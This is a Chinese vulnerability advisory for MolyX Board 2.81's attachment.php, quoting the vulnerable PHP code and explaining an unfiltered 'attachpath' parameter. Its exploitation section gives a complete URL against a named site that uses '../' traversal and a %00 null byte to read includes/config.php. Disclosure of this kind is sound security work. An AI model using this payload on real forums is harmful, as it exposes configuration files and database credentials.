MolyX论坛系统attachment.php页面过滤不严导致源码泄露漏洞

影响版本:
Molyx Board 2.81

程序介绍:

魔力论坛(MolyX Board) 是魔力系列Web应用软件产品之一,由魔力工作室(MolyX Studios) 经过数年的市场技术调研及学习研究,在融合了当今众多论坛程序技术和实践优点的基础上,针对中国人的使用习惯开发研制的一款功能强大、速度飞快、性能卓越、安全性极高的论坛系统。其采用PHP及MySql构建,整体架构采用最先进的面向对象思想,在功能、速度、性能、安全及开发理念和创新意识上均超越了目前国内外市场同类产品。魔力论坛推出的短短数月间,就获得了大量用户和业界专家的一致好评和认可,越来越多的用户选择了魔力论坛作为应用网站论坛社区的解决方案。

漏洞分析:

在attachment.php页面当中

 
  1. function showthumb()  
  2. {  
  3.    global $DB$forums$_INPUT$bbuserinfo$bboptions;  
  4.    $forums->noheader = 1;  
  5. ………………………….  
  6. else  
  7.    {  
  8.     $subpath = SAFE_MODE ? "" : implode(‘/’, preg_split(‘//’intval($_INPUT[‘u’]), -1, PREG_SPLIT_NO_EMPTY));  
  9.     $subpath = $_INPUT[‘attachpath’] ? $_INPUT[‘attachpath’] : $subpath;  
  10.     $path = $bboptions[‘uploadfolder’] . ‘/’ . $subpath;  
  11.     $_INPUT[‘attach’] = str_replace("\\", "/", $_INPUT[‘attach’]);  
  12.     $_INPUT[‘attach’] = str_replace("/"""substr($_INPUT[‘attach’], strrpos($_INPUT[‘attach’], ‘/’)));  
  13.     $showfile = $path . "/" . $_INPUT[‘attach’];  
  14. ……………………………….  
  15. if (file_exists($showfile) AND ($forums->cache[‘attachmenttype’][ $_INPUT[‘extension’] ][‘mimetype’] != ""))  
  16.     {  
  17.      @header(‘Cache-control: max-age=31536000’);  
  18.      @header(‘Expires: ‘ . gmdate("D, d M Y H:i:s", TIMENOW + 31536000) . ‘ GMT’);  
  19.      @header(‘Content-Type: ‘ . $forums->cache[‘attachmenttype’][$_INPUT[‘extension’]][‘mimetype’]);  
  20.      @header(‘Content-Disposition: inline; filename="’ . urldecode($_INPUT[‘filename’]) . ‘"’);  
  21.      @header(‘Content-Transfer-Encoding: binary’);  
  22.      @header(‘Content-Length: ‘ . (string) (filesize($showfile)));  
  23.      @readfile($showfile);  
  24.      exit();  
  25.     }  
  26.    ……………………………………  

$_INPUT[‘attach’]过滤得蛮严的,但$_INPUT[‘attachpath’]没过滤,因为系统初始化时有用到stripslashes()所以我们可以用%00来截断后面的参数。

漏洞利用:

去论坛发贴带个附件,获取下载地址,改attachpath为任意文件
http://www.wavdb.com/attachment.php?do=showthumb&id=21&u=6&extension=jpg&attach=8_1275811008_082.jpg&filename=test.jpg&attachpath=../../includes/config.php%00

解决方案:
厂商补丁:
MolyX Board
——–
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.molyx.com/

信息来源:
<*来源: Mr_Xhming’s Blog
链接:
http://hi.baidu.com/mr_xhming
*>

发表评论?

0 条评论。

发表评论